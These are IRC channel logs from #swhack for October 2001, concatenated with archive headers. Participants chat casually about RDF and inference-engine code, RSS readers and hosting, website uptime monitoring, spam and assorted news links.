joined #swhack 13:57:25 <Morbus> Morbus has quit 13:58:19 <sbp> sbp has joined #swhack 14:18:00 <sbp> * sbp comes up with a cool new song 14:18:10 <sbp> in CGCGCE tuning 14:19:52 <sbp> Gotta run 14:19:57 <sbp> sbp has quit 14:21:12 <Morbus> Morbus has joined #swhack 14:21:16 <Morbus> Morbus has quit 14:33:36 <ASwartz> ASwartz has joined #swhack 14:36:23 <AaronSw> AaronSw has quit 15:29:04 <Morbus> Morbus has joined #swhack 15:29:10 <Morbus> Morbus has quit 15:50:58 <sbp> sbp has joined #swhack 15:51:26 <sbp> sbp has quit 16:30:27 <GabeW> GabeW has joined #swhack 18:34:54 <GabeW> GabeW has quit 18:57:41 <deltab> deltab has quit 18:58:23 <deltab> deltab has joined #swhack 19:28:17 <sbp> sbp has joined #swhack 19:49:46 <sbp> sbp has quit 20:16:58 <sbp> sbp has joined #swhack 20:20:24 <sbp> sbp has quit 21:31:34 <ASwartz> ASwartz is now known as AaronSW 21:57:31 <IRCMP> [GlobalNotice] It's everyone's favourite time! Services are going to be restarting in a moment and everyone will feel the shockwave as we cut the network in two briefly. Thanks for your unending cooperation and patience. 21:58:24 <deltab> deltab has quit 21:58:46 <deltab> deltab has joined #swhack 22:14:13 <AaronSW> AaronSW has quit 22:14:35 <Mackz> Mackz has joined #swhack 22:14:41 <Mackz> hoi :) 22:14:59 <Mackz> 31337 h4x0r rulez ;) 22:15:05 <Mackz> bye 22:15:09 <Mackz> Mackz has left #swhack 22:42:25 <Morbus> Morbus has joined #swhack 22:43:01 <Morbus> Morbus has left #swhack 23:24:10 <sbp> sbp has joined #swhack 23:26:59 <sbp> sbp has quit 23:39:52 <sbp> sbp has joined #swhack 23:44:16 <sbp> sbp has quit 23:56:54 <GabeW> GabeW has joined #swhack 23:56:56 <GabeW> GabeW has left #swhack �������������������������������������������������������������2001-10-10.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000003765�07361160076�012011� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:33:17 <logster> logster has joined #swhack 00:33:17 <sagan.openprojects.net> Users on #swhack: logster Morbus deltab 00:33:49 <Morbus> Morbus has left #swhack 00:43:53 <sbp> sbp has joined #swhack 00:45:09 <sbp> my critique of HumanMarkup:- 00:45:10 <sbp> [[[ 00:45:10 <sbp> The whole project is a pernicious amalgamation of bureaucratic 00:45:10 <sbp> wranglings under the aegis of OASIS, nostalgic throwbacks to 00:45:10 <sbp> undergraduate deleria, and parodies of tragic ignorance meeting 00:45:10 <sbp> sprightly enthusiasm worthy of greater literary notoriety than 00:45:12 <sbp> anything that even Shakespeare could have produced. 00:45:14 <sbp> ]]] - http://infomesh.net/2001/10/humanml/ 01:02:06 <sbp> sbp has quit 01:49:45 <Morbus> Morbus has joined #swhack 01:50:23 <Morbus> Morbus has left #swhack 04:42:17 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by sagan.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 04:42:23 <logster> logster has joined #swhack 04:42:23 <forward.openprojects.net> Users on #swhack: logster deltab 12:34:52 <sbp> sbp has joined #swhack 12:38:19 <sbp> sbp has quit 14:51:53 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by forward.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 14:52:19 <logster> logster has joined #swhack 14:52:19 <asimov.openprojects.net> Users on #swhack: logster deltab 18:25:33 <Morbus> Morbus has joined #swhack 18:25:34 <Morbus> Morbus has left #swhack 19:10:32 <sbp> sbp has joined #swhack 19:13:56 <sbp> sbp has quit 19:31:46 <sbp> sbp has joined #swhack 19:44:53 <sbp> sbp has quit 20:37:28 <Morbus> Morbus has joined #swhack 20:37:31 <Morbus> Morbus has left #swhack 22:06:59 <Morbus> Morbus has joined #swhack 22:22:55 <sbp> sbp has joined #swhack 22:30:50 <sbp> sbp has quit 22:35:22 <Morbus> Morbus has left #swhack 23:51:44 <sbp> sbp has joined #swhack 23:56:46 <sbp> sbp has quit �����������2001-10-11.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000125311�07361431057�012002� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:01:26 <logster> logster has joined #swhack 00:01:26 <niven.openprojects.net> Users on #swhack: logster ASwartz deltab 00:02:34 <ASwartz> ASwartz is now known as AaronSw 00:13:31 <AaronSw> LOL @ HumanML comments, sbp 00:13:41 <AaronSw> from http://blogspace.com/swhack/chatlogs/2001-10-10 00:15:08 <AaronSw> LOL @ <IRCMP>, <Mackz> in http://blogspace.com/swhack/chatlogs/2001-10-09 00:42:59 <sbp> sbp has joined #swhack 00:43:55 <sbp> <AaronSw> LOL @ HumanML comments, sbp 00:43:56 <sbp> * sbp bows 00:44:06 <AaronSw> Hi there! 00:45:26 <sbp> Hi Aaron 00:45:51 <AaronSw> Boy, there's a lot of email to catch up on. 00:46:33 <sbp> * sbp checks his 00:46:41 <sbp> ooh, none 00:46:54 <sbp> no suprise seeing as how I only checked it about 30 seconds ago... :-) 00:50:50 <sbp> * sbp had a handful of feedback from the HumanML list about those comments... 00:51:04 <sbp> but not much. Phew 00:51:52 <sbp> * sbp wonders about upgrading EARL 0.95 to 1.0: is it really necessary? 00:53:01 <AaronSw> Heh: http://www.theregister.co.uk/content/28/22113.html 00:53:12 <AaronSw> [[[ 00:53:16 <AaronSw> We spoke to the Home Office - which was not overly entertained especially since the Census is supposed to be deadly serious. However the Home Office would not say what constituted a religion and we subsequently discovered that while you can be heavily fined for putting down false details on a census form, it does not apply to the religion question. 00:53:16 <AaronSw> ]]] 00:54:58 <sbp> heh:- 00:54:59 <sbp> [[[ 00:55:00 <sbp> The spokeswoman that clarified the situation for us was one Ms Knight (no relation but some irony). 00:55:00 <sbp> ]]] 00:55:54 <sbp> "Would you rather meet Bill Gates or a topless model?" 00:56:03 <sbp> Hmm... could you get back to me on that one? 00:56:10 <sbp> http://www.theregister.co.uk/content/28/22150.html 00:56:30 <AaronSw> What kind of a question is that? 00:57:50 <sbp> lol! 00:57:51 <sbp> [[[ 00:57:52 <sbp> What is concerning to us is the further evidence that educated people breed less, thus possibly serving to help lower the global IQ average. 00:57:52 <sbp> ]]] 00:57:56 <AaronSw> Heh, I suppose Gerald's answer is documented in his LCS35 page. 00:58:05 <sbp> LCS35? URI? 00:58:35 <AaronSw> http://impressive.net/people/gerald/1999/04/lcs35/ 00:58:46 <AaronSw> google:lcs35 gerald oskoboiny 00:59:47 <sbp> ah, so obvious! 01:00:40 <sbp> Heh: "I was going to introduce myself, but couldn't think of anything nice to say. " 01:01:39 <AaronSw> While we're name dropping, did I ever mention that Bill Gates almost worked for my Dad? 01:03:55 <sbp> heh, no>] 01:04:03 <sbp> s/>]/? 01:08:45 <AaronSw> LOL: http://wmf.editthispage.com/discuss/msgReader$5919?mode=day 01:08:54 <AaronSw> Bill: Well, it's true. 01:09:06 <AaronSw> that's re: the Bill Gates stuff, btw 01:11:46 <AaronSw> Don't you hate it when someone sends a really long letter, and then someone replies with a two-sentence response and quotes the whole really long letter? 01:12:47 <sbp> yes! 01:12:57 <sbp> yes I do. > Don't you hate it when someone sends a really long letter, and then someone replies with a two-sentence response and quotes the whole really long letter? 01:13:19 <AaronSw> :-) 01:14:51 <AaronSw> Spam headlines: PUT YOUR LOVER INTO A COMA! 01:15:12 <sbp> what's that selling? 01:15:27 <AaronSw> Sex enhancement pills 01:15:44 <sbp> wonder what's in 'em? 01:16:03 <AaronSw> Since I love you so much, you can find out for me. 01:16:23 <AaronSw> Hmm, but if I put you into a coma, who will do the work I'm now getting you to do... 01:16:41 <sbp> * sbp wonders if Aaron has been drinking 01:17:15 <AaronSw> *Root* Beer, *Root*! 01:17:32 <AaronSw> Another thing I don't like: folks who put numbers at the end of their subject headers. Makes it look like spam. 01:17:52 <sbp> numbers? example? [15] 01:18:38 <AaronSw> Subject: I think this feed sucks #190172 01:19:00 <sbp> I think that it prettifies it 01:19:26 <sbp> * sbp is on a "convert adjectives into verbs in three easy steps" rant 01:19:41 <sbp> [[[ 01:19:41 <sbp> > > [...] (happy is a verb). 01:19:41 <sbp> > 01:19:41 <sbp> > As in "you're to happy today"? :-) "Happify" would be the verb form of the 01:19:41 <sbp> > adjective "happy"! 01:19:42 <sbp> Okay, so happy is an adjective <grin/> 01:19:44 <sbp> ]]] 01:20:01 <sbp> * sbp was the "> " quoted person 01:20:20 <AaronSw> Dave Winer adds new function to Manila (Web server software): fbi.getTerrorist () 01:20:23 <sbp> so you don't cheer people up anymore: you happify them 01:20:40 <sbp> cool function. How does it work? 01:20:51 <AaronSw> Visits the FBI website. 01:21:02 <AaronSw> Demo at: http://wmf.editthispage.com/discuss/msgReader$5935 01:22:13 <sbp> cool, it actually works 01:22:33 <AaronSw> Wow, this is weird -- somebody sent me spam and it bounced because they thought my domain was a spammer domain, so they bounced my bounce. 01:22:59 <sbp> note: add built-ins to self.queryquad() 01:23:04 <AaronSw> Don't you hate it when people cite completely irrelevant (parts of an) RFC(s)? 01:23:20 <sbp> not really; I think it's cute 01:25:06 <sbp> * sbp gets a vague idea as to how to add the built-ins 01:25:35 <AaronSw> Hmm, I don't think I swhacked when I figured it out: 01:26:17 <AaronSw> <http://www.faqs.org/rfcs/rfc2169.html> dc:author [ foaf:name "Ron Daniel" ; is :member of [ foaf:name "RDF Core WG" ; :member [ foaf:name "Aaron Swartz ] ] ] . 01:27:04 <sbp> are you sure that it was just root beer? 01:27:47 <AaronSw> Ooh, real short bread cookies! 01:28:05 <sbp> * sbp takes that as a no 01:29:15 <sbp> aw man, adding built ins is gotta really bugger the code. Bugger it with bells on 01:30:04 <AaronSw> See, you should rewrite it on top of a None-style query (need to figure out what those are really called) 01:30:22 <sbp> WTF are you talking about? it does use a None-style query! 01:30:32 <sbp> I keep on telling you :-) 01:31:00 <sbp> problem is, for each query quad, I have to scan it to see if it contains any built in URIs 01:31:25 <AaronSw> Oh, I see now. 01:31:28 <sbp> then I have to note that for each time you want to add a query result to the vars store, you ned to check that it matches the bloody constraint 01:31:34 <AaronSw> Yeah, that does suck. 01:31:54 <sbp> sure does... it's a lot of extra code tacked on at the edges 01:31:54 <AaronSw> Hmmph, why don't I remember things like <http://wmf.editthispage.com/discuss/msgReader$5936> when I meet Ted Nelson! 01:32:39 <sbp> "I don't see how it's possible to prevent documents from deleted" 01:32:46 <sbp> I don't see how it's possible to prevent documents from grammer 01:33:02 <AaronSw> Heh, you should reply with that. 01:33:06 <sbp> :-) 01:33:13 <sbp> you can, if you want 01:33:20 <AaronSw> I will quote you. 01:33:26 <sbp> if you like 01:33:28 <sbp> :-) 01:33:37 <AaronSw> * AaronSw sends to wmf by IRC, as opposed to HTTP 01:34:10 <sbp> s/grammer/grammar, BTW 01:34:21 <sbp> I don't see how it's possible to prevent documents from spelling... 01:36:28 <AaronSw> * AaronSw finishes first pass over mailbox. 01:36:28 <AaronSw> Well, now I only have to read 273 new messages. 01:36:41 <sbp> hey, that's pretty good going 01:36:52 <AaronSw> Not including messages from lists. 01:37:07 <AaronSw> I have 7365 of those 01:37:11 <sbp> lol! 01:37:20 <AaronSw> Literally! 01:37:33 <sbp> that's what makes it so funny 01:37:34 <AaronSw> It's a hopeless struggle, I figure. 01:47:13 <sbp> he should have told them to Ef off 01:47:49 <AaronSw> ba dum bum! 01:48:09 <sbp> don't forget the cymbal! 01:48:13 <sbp> tsiii! 01:48:38 <AaronSw> logster, grep -i todo 01:48:42 <logster> I'm logging. I found 11 answers for 'todo' (showing 0...4) 01:48:43 <logster> 0) 2001-10-11 01:48:38 <AaronSw> logster, grep -i todo 01:48:44 <logster> 1) 2001-10-08 22:53:08 <Morbus> interuppts are on the todo. i've been lazy 01:48:45 <logster> 2) 2001-10-01 22:29:09 <Morbus> welp, if you shell into ScriptMenu.menu, it has the same sort of dir structure as others. including a TODOish like file ;) 01:48:46 <logster> 3) 2001-09-30 04:17:20 <AaronSw> TODO: Listen to Jimi Hendrix 01:48:47 <logster> 4) 2001-09-30 00:31:17 <AaronSw> TODO: Search for Internet-scale Linda systems 01:49:00 <AaronSw> logster, grep 5-100 -i todo 01:49:02 <logster> I'm logging. I found 2 answers for '-i todo' (showing 5...2) 01:49:12 <AaronSw> Heh: showing 5...2 01:49:20 <sbp> wonderful logic! 01:49:48 <AaronSw> * AaronSw logs back in to the dual-monitor megabase 01:49:52 <sbp> to Jimi: may I suggest Little Wing? 01:50:37 <AaronSw> Of course. I wish AudioGalaxy would let other people add songs to my list 01:56:16 <AaronSw> Eeek! What is all this mail in my Yahoo! Mail account? 01:57:08 <sbp> you have a Yahoo! mail account? 01:57:36 <AaronSw> Well, you get one for signing up to Yahoo! Groups 01:58:01 <AaronSw> But I'm not sure why I'm getting www-archive messages there. 01:58:46 <sbp> Kick-ass: A Characterization of Space Complexity Cases and Subexponential Time Classes 01:58:46 <sbp> as Limiting Polynomially Decidable Sets 01:58:53 <sbp> - http://www.icsi.berkeley.edu/ftp/global/pub/techreports/INDEX 02:02:13 <AaronSw> Huh? 02:02:32 <sbp> :-) 02:10:31 <AaronSw> Huh? 02:11:54 <AaronSw> So, since infomesh was close but not quite appropriate, I'm thinking of calling my meshy project datamesh or dataplex 02:12:24 <AaronSw> Hmm, HP uses DataMesh 02:12:31 <sbp> Dataplex it is! 02:12:37 <sbp> Dataplex... tsk 02:12:37 <AaronSw> "DataMesh is a storage architecture designed for parallel operation. This document describes the first version of the DataMesh architecture _ that intended to provide a flexible, scalable, parallel block service. " 02:12:44 <AaronSw> Sounds like what I was going to do. 02:12:50 <sbp> Heh heh heh 02:13:16 <AaronSw> DataPlex is a large series of companies, as is WebPlex 02:13:26 <AaronSw> Oh, WebPlex is DataPlex's product 02:13:54 <AaronSw> Hmm, DataWeb: """The DataWeb is the infrastructure for intelligent browsing and accessing data across the Internet. The DataWeb brings together under one umbrella demographic, economic, environmental, health, (and more) datasets that are usually separated by geography and/or organization.""" 02:14:17 <AaronSw> - http://www.thedataweb.org/ 02:27:05 <sbp> what the smeg is this?: Subject[predicate] = object 02:27:23 <AaronSw> What's wrong with that? 02:27:37 <AaronSw> I thought it was a clever mapping. 02:27:38 <sbp> what is it? 02:27:50 <sbp> what about multiple objects? 02:27:59 <AaronSw> It's a way to create RDF statements using the Py interface -- just one way. 02:28:23 <sbp> yeah, but if you have :x :y :z . :x :y :a . what does x[y] return? 02:28:55 <sbp> <yod> I'm not perfectly aware of MIT/LCS policy, but I know part of the answer, which is rpmfind 02:29:03 <sbp> of course! it's so obvious now 02:30:17 <AaronSw> x[y] returns a list... hmm, so i guess setting it should be a list too 02:31:02 <sbp> so, would it return a list with one member if there was just one subject? 02:31:28 <sbp> [[[ 02:31:29 <sbp> The DNS tables have been restored and everything should be cleaned up now, Daniel] 02:31:30 <sbp> ]]] 02:31:49 <sbp> why is that guy talking to Daniel? 02:31:55 <sbp> on http://rpmfind.net/ 02:33:06 <AaronSw> s/subject/object/ makes the answer yes, I think 02:33:14 <AaronSw> hmm, perhaps no. 02:33:31 <AaronSw> it's a tradeoff between easier to code and making apps barf when there are multiple objects 02:33:57 <AaronSw> I think he means to sign it Daniel, not address it to him. 02:33:59 <sbp> Grgprmgprmgh 02:34:13 <sbp> sign it: yeah, I realised that. Grammar is not a time of waste 02:34:41 <sbp> Marge: You're not even listening to me, Homer 02:34:45 <sbp> Homer: Sure they will! 02:34:56 <AaronSw> Heh. 02:34:59 <AaronSw> "Grgprmgprmgh" re what? 02:35:07 <sbp> <AaronSw> it's a tradeoff between easier to code and making apps barf when there are multiple objects 02:35:17 <sbp> perhaps I should have appended it to my reply :-) 02:35:40 <sbp> Gotta run 02:35:43 <AaronSw> I figured as much. What didn't I listen to? 02:35:45 <AaronSw> ok, c'ta 02:35:48 <AaronSw> err c'ya 02:38:40 <sbp> sbp has quit 02:40:30 <AaronSw> [[[Why get a motorhome? Is it merely to put the "ugly" back into "Ugly American"? These things guzzle fuel, combine all the maintenance problems of a poorly constructed house and a poorly constructed truck, clog the highways, are impossible to park, and are tough to drive in a straight line. ]]] 02:40:35 <AaronSw> - http://www.photo.net/webtravel/motorhomes/intro 02:40:45 <AaronSw> Seen this before, but hadn't swhacked it. 02:40:53 <AaronSw> swhacking is such a great verb. 03:17:48 <Morbus> Morbus has joined #swhack 03:18:18 <Morbus> aaron! 03:18:22 <Morbus> just the person i wanted to talk to 03:18:24 <AaronSw> Morbus! 03:18:30 <Morbus> i tell ya, i'm getting a lot of complaints about you. 03:18:31 <AaronSw> Man, I need to get myself a copy of "Hyperland" 03:18:37 <AaronSw> complaints about me? 03:18:52 <Morbus> hyperland? related to flatland? 03:18:52 <AaronSw> I didn't do anything! Really! It wasn't me! 03:18:56 <Morbus> not you, but blogspace. 03:19:03 <AaronSw> oh, what sorts of complaints? 03:19:30 <Morbus> mostly "amphetadesk doesn't load this channel!", "welp, looks like blogspace timed out again, try voidstar" 03:20:00 <AaronSw> Yes, there's been some, ehm, instability the past few days -- it should be back strong now, tho 03:20:24 <Morbus> k. i rarely notice it myself. i'm just happy i can mention voidstar to people. 03:20:26 <Morbus> so what's hyperland/ 03:20:45 <Morbus> voidstar as an alternative. 03:20:54 <Morbus> i sent about 2 people a day to blogify ;) 03:20:55 <AaronSw> * AaronSw cries... i'm such a failure! 03:21:07 <Morbus> oh, it's ok ;) 03:21:22 <Morbus> trying to get louisrosenfield.com to use it 03:21:27 <AaronSw> Yeah, i'm looking into moving my server empire to MIT or someplace where it'll be really fast and stable 03:21:32 <Morbus> he seemed real interested when i mentioned it to him 03:21:46 <Morbus> disobey's hosted on a t1 about three blocks from my house :) 03:22:08 <Morbus> t1 is good enough for me. 03:22:13 <AaronSw> blogspace.com is on a T1 on the other side of the country 03:22:17 <AaronSw> but, no, i still get complaints 03:22:18 <Morbus> most of my stuff is lowbandwidth, so i rarely stress it. 03:22:37 <Morbus> ah. i'm on a sprint line that goes straight to a hub in ny. impressive. 03:22:51 <Morbus> our old providers have had a couple of hops between, but this is 1 hop. 03:22:51 <AaronSw> louisrosenfeld.com doesn't resolve for me. 03:23:02 <AaronSw> hah, i'm actually on a sprint line in NY! 03:23:07 <Morbus> heheheh. 03:23:26 <Morbus> that's funny. for access, or webhosting? 03:23:27 <AaronSw> Hmm, actually it's ggn 03:23:53 <Morbus> oop. mispelt: http://www.louisrosenfeld.com/ 03:23:58 <AaronSw> oh, i meant blogspace.com is on that line 03:24:09 <AaronSw> in NY 03:24:26 <Morbus> ah. that may explain why i never have timeouts on it :) 03:24:42 <AaronSw> Ah, Louis wrote IA4WWW, cool. 03:25:17 <AaronSw> Indeed, IKEA has great IA: http://www-personal.si.umich.edu/~khage/ikea.html 03:25:24 <Morbus> i have my site monitored by edoppler.com and never see problems 03:25:39 <Morbus> yeah, he had mentioned rss last week sometime, and i chimed in with blogify 03:26:06 <AaronSw> Hmm, edoppler.com... I was using a site but it disappeared, so i swithced to uptime.openacs.or 03:26:08 <Morbus> http://www.edoppler.com/cgi-bin/rpt3.cgi?sortby=media&city=boston 03:26:08 <AaronSw> err org 03:26:31 <Morbus> specifically: http://www.edoppler.com/cgi-bin/itr_hist.cgi?site=disobey&city=boston 03:26:57 <Morbus> or city=seattle 03:26:59 <Morbus> etc 03:27:01 <AaronSw> their "we watch the web" eyeball is scaring me 03:27:05 <Morbus> lol 03:27:14 <Morbus> yeah, they used to be called dibbledop, without the eyeball 03:27:17 <Morbus> was much calmer 03:27:19 <Morbus> :) 03:27:34 <AaronSw> Hmmph: 03:27:36 <AaronSw> We are currently not accepting new free monitoring submissions. 03:27:36 <AaronSw> Please check back again. 03:27:41 <Morbus> OOoh. 03:27:41 <AaronSw> </quote> 03:27:57 <Morbus> hehe... that's too bad. i've had disobey in there for abotu two years now 03:28:01 <Morbus> you could try spyonit.com though 03:28:08 <Morbus> they have a site monitor that will email you when they can't reach the site 03:28:13 <Morbus> doesn'tmeasure response time though. 03:28:20 <AaronSw> Yeah, I use that for other sites but it's not worth it for my own since they're so slow at checking 03:28:25 <AaronSw> they only check like ever 12 hrs or something 03:28:29 <Morbus> yeah. 03:28:30 <AaronSw> uptime.openacs isn't bad 03:28:47 <AaronSw> they sent me "your site is down" like 40 times while I was away ;-/ 03:28:49 <Morbus> i know one of the creators of spyonit, i could see if i could get you something sooner if you really want it 03:29:01 <AaronSw> Oh, you do? cool, thank him for me. 03:29:09 <AaronSw> it's a nice servicce... was going to do similar with my.theinfo.org but never finished 03:29:15 <Morbus> for what? getting bought out by someone who gutted them? 03:29:18 <Morbus> i'm bitter ;) 03:29:23 <AaronSw> Yeah, well that part sucks 03:29:26 <Morbus> i started using spyonit longlong ago 03:29:31 <AaronSw> and they won't listen to my pleas to use rss 03:29:34 <Morbus> was one of the first thirdparty developers for it. 03:29:41 <AaronSw> they tell me to pay up for rss feeds, pah! 03:29:46 <Morbus> they sent me free tshirts, etc. 03:29:55 <Morbus> directed peopel to me for tech support. kinda funny ;) 03:30:04 <Morbus> i'm still on good turns with Matt there. he likes amphetadesk 03:30:04 <AaronSw> Cool. 03:30:09 <AaronSw> Blogspace: 03:30:09 <AaronSw> 2001-10-10 18:27:49 : back_up 03:30:09 <AaronSw> * 2001-10-10 18:11:12 : down 03:30:09 <AaronSw> * 2001-10-10 17:33:23 : back_up 03:30:09 <AaronSw> * 2001-10-10 17:06:24 : down 03:30:09 <AaronSw> * 2001-10-10 16:26:31 : back_up 03:30:11 <AaronSw> * 2001-10-10 16:10:21 : down 03:30:13 <AaronSw> * 03:30:15 <AaronSw> - http://uptime.openacs.org/uptime/reports.tcl?monitor_id=5866 03:30:17 <AaronSw> Hmmph. 03:30:18 <Morbus> i keep offering him to develop email capability in amphetadesk and then welcome him back to an open source spyonti. 03:30:33 <Morbus> ;) 03:30:44 <Morbus> the dev section is gone frmo spyonit now though. its pretty gutted, which sucks ass. 03:31:20 <AaronSw> yuck 03:31:22 <Morbus> i created a camworld.com email spy which still works ;) 03:31:33 <AaronSw> yeah, it's how i watch weblogs 03:31:36 <Morbus> its the only one thats left from my stuff. everything else has broken do to site redesigns. 03:32:10 <AaronSw> hmm, why don't you code up an opensource version for me and i'll host it ;) 03:32:11 <Morbus> at the end, when they stopped updating their devtools, i was just sending a spy to a perl script on disobey and having disobey do the work and then report back to the spy and then have ThAT mailed to me. was kinda funny 03:32:14 <Morbus> hehehe. 03:32:28 <Morbus> people have been asking for an cgi based ampheta for a while now. 03:32:32 <AaronSw> heheh 03:32:37 <Morbus> would be trivial to add mail capabilities ;) 03:32:46 <AaronSw> I'm waiting for TouRSSt to come out so I can get RSS feeds mailed to me 03:32:53 <Morbus> TouRSSt? 03:32:58 <Morbus> oh hey! 03:33:01 <Morbus> you know about something i want in on... 03:33:06 <Morbus> what the hell is the name... 03:33:18 <Morbus> cedea or somethign? its a new product from some storyserver or something peopel? 03:33:19 <AaronSw> It's a pun on tourist 03:33:23 <Morbus> they mentioned you on their site. 03:33:28 <AaronSw> Really? 03:33:34 <AaronSw> that's cool 03:33:37 <Morbus> yeah, iknow the pun, but not about the product. what's toursst? 03:33:46 <Morbus> yeah, they said you chatted with them and linked to blogspace. 03:33:47 <AaronSw> toursst.sf.net 03:33:52 <Morbus> you know who i'm talking about? 03:33:58 <AaronSw> hmm, no.... 03:34:04 <AaronSw> oh, vaguely ues 03:34:04 <Morbus> damnit 03:34:06 <AaronSw> err yes 03:34:12 <AaronSw> long time ago, tho 03:34:55 <Morbus> oh. so you're not betaing the software or anything 03:34:56 <AaronSw> hmm, do you remember the name? 03:35:01 <Morbus> damn f12 key 03:35:06 <Morbus> trying to find the name now 03:35:12 <Morbus> t was like cedea or somethign 03:38:35 <Morbus> ah here we go. 03:38:43 <Morbus> ceres 03:38:48 <Morbus> http://www.eastgate.com/Development/ 03:38:57 <AaronSw> Oh, Ceres! Yes, yes. 03:38:59 <Morbus> Aaron Swartz, dropped in for lunch with the Ceres team last week. Lots of interesting ideas were tossed back and forth! 03:39:06 <AaronSw> I am beta testing that. 03:39:10 <Morbus> ok. for macs? 03:39:14 <Morbus> is it open beta test? 03:39:14 <AaronSw> Yep. 03:39:17 <AaronSw> and no. 03:39:22 <Morbus> cost when final? 03:39:27 <AaronSw> Probably 03:39:30 <Morbus> bah 03:39:32 <Morbus> ok. nevermind <g> 03:39:37 <AaronSw> Heh. 03:39:45 <AaronSw> * AaronSw thinks he better get a free copy. 03:40:57 <Morbus> oh, and some random notes: amphetadesk was mentioned in researchbuzz.com agaim 03:41:05 <Morbus> and also in the 600th issue of tidbits :) 03:41:51 <Morbus> the mention in researchbuzz was in the pay only -extra. 03:42:17 <AaronSw> Whoo, TidBITS?! 03:42:20 <AaronSw> hat rocks 03:42:23 <AaronSw> err that 03:42:27 <Morbus> extremely powerful it was a little too powerful for 03:42:27 <Morbus> what I was trying to do. I felt like I was using a 03:42:27 <Morbus> blowtorch to light a candle. But if you're looking for 03:42:27 <Morbus> additional features -- like being able to maintain a 03:42:27 <Morbus> Weblog -- it's great. Programmers and power users check 03:42:29 <Morbus> out this one first. It runs on Windows and Mac. 03:42:40 <Morbus> yeah, i was surprised with the tidbits mention too. 03:43:03 <Morbus> i emailed adam to say thanks and he said "No problem - I was jazzed when I realized AmphetaDesk was from someone we knew." 03:43:10 <Morbus> he knows me! whoo. that made me feel special :) 03:44:46 <AaronSw> How does he know you? 03:45:30 <Morbus> i've emailed tidbits in response to various issues before. mostly small two or three email exchanges. nothing to "this is who i am" sort of stuff 03:45:45 <Morbus> so it was kinda neat that he remembered 03:46:19 <AaronSw> Cool. 03:46:27 <AaronSw> I wonder if he knows me... ;) 03:46:34 <Morbus> hehe. email him ;) 03:47:03 <AaronSw> I used to be on TidBITS-talk but was unsubscribed during a mail-bouncing time 03:47:06 <AaronSw> and never bothered to rejoin 03:47:25 <Morbus> i jumped on there once to talk about ... .. SeTEXT, but after slow response, i jumped off 03:47:31 <AaronSw> Heh. 03:49:10 <AaronSw> I tried to convince Adam to use RSS a couple times, but he was still feeling burnt from CDF or whatever. 03:49:20 <Morbus> uh. 03:49:20 <AaronSw> Good to see he's relented. 03:49:29 <Morbus> he mentioned that in issue 600. 03:49:33 <Morbus> go check it out. 03:49:39 <AaronSw> Did he mention me? 03:49:40 <AaronSw> ;) 03:49:41 <Morbus> say thanks for the rss feed. maybe he'll remmeber ya ;) 03:50:02 <AaronSw> I have such a TidBITS backlog, ugh 03:50:06 <Morbus> not you, no... maybe you should be like "yo, i'm the bitch that haraased you about rss'in. pease. 03:50:10 <Morbus> er sumthing 03:50:23 <AaronSw> heh 03:51:02 <Morbus> heh. naked chicks with a mac. gota love it. 03:51:11 <AaronSw> Huh? 03:55:53 <Morbus> just a matter of making an ocs-like list for them. 03:56:20 <Morbus> i may still do it in the future. i'm intrested in both 03:57:07 <AaronSw> how would cams appear in amphetadesk? a new item every minute or so? 03:57:40 <Morbus> welp, you could do it with the nonstandard iframe, or just do a meta refresh on the html page 03:57:58 <AaronSw> Heh, " I'd like an old-fashioned rendering of Uncle Sam, editing a weblog on a PC or a Mac." 03:58:05 <Morbus> heheheh 03:58:10 <Morbus> he's getting all patiortic and shit 03:58:28 <AaronSw> That'd be a cool icon, tho 03:58:45 <Morbus> huh. 03:59:00 <Morbus> http://voidstar.com/rssify.php?url=http://michigantelephone.workbench.net/ 03:59:07 <Morbus> check that out - looks like voidstra truncates title fields 04:00:09 <AaronSw> Title fields? It just strips out the first few non-htmltag chars of the item, i think 04:00:24 <AaronSw> Like: "Ameritech called bully in phone fightThe Madison ( ..." 04:00:48 <Morbus> from the first entry ... parts of area, 517 no ... 04:00:57 <Morbus> that's "no" as in "now' 04:01:08 <Morbus> that trunc makes no sense 04:01:13 <AaronSw> Yeah, it just truncates... it 04:01:18 <AaronSw> it's pretty bad 04:02:21 <Morbus> Morbus has quit 04:09:55 <AaronSw> Hmm, now I know where Dave Winer 04:10:06 <AaronSw> 's Mom works. 04:25:50 <AaronSw> Oh dear, Edward Gorey died: http://www.salon.com/people/obit/2000/04/17/goreyobit/print.html 04:25:56 <AaronSw> At least he wasn't kept in bondage by a drunken brute until he finally escaped only to be run over by a carriage driven by his own father, who didn't recognize the emaciated body as that of his son. 04:40:43 <AaronSw> Shell game looks absolutely beautiful -- I'll have to read it sometime. 04:46:21 <AaronSw> http://treedragon.com/vex/about.htm 04:46:44 <AaronSw> David McCusker blows me away. 04:48:20 <AaronSw> Paul Snively's quite interesting too. 13:57:44 <AaronSw> Some days I feel like a crawler, searching Web/Email/IRC for useful information. 14:12:08 <AaronSw> -- 14:12:17 <AaronSw> Possibly useful for schoolyard subversion: 14:12:59 <AaronSw> I always feel bad when I do work assigned to me in class, because I _know_ the stuff I'm going to hand in isn't good enough. 14:13:19 <AaronSw> However, everytime I think this, I'm continually disappointed as the teacher had far lower standards than I did. 14:13:50 <AaronSw> I'd bet than over time this phenomenon will have a negative effect on my standards. That makes me sad. 14:13:59 <AaronSw> ... 14:25:12 <Morbus> Morbus has joined #swhack 14:32:19 <Morbus> Morbus has left #swhack 14:57:18 <sbp> sbp has joined #swhack 14:57:35 <AaronSw> hello! 14:57:40 <sbp> Hi there! 14:57:44 <AaronSw> Want to go around telling people that their XML sucks? 14:57:49 <sbp> Sure 14:57:50 <AaronSw> Sign up at: http://www.syndic8.com/index.php 14:58:32 <sbp> Ooh, syndication 14:58:48 <AaronSw> It's a magic word! :) 14:58:55 <sbp> In other news, I built a "working" inference engine 14:58:59 <sbp> in under 3KB 14:59:13 <AaronSw> Wow... how does it work? 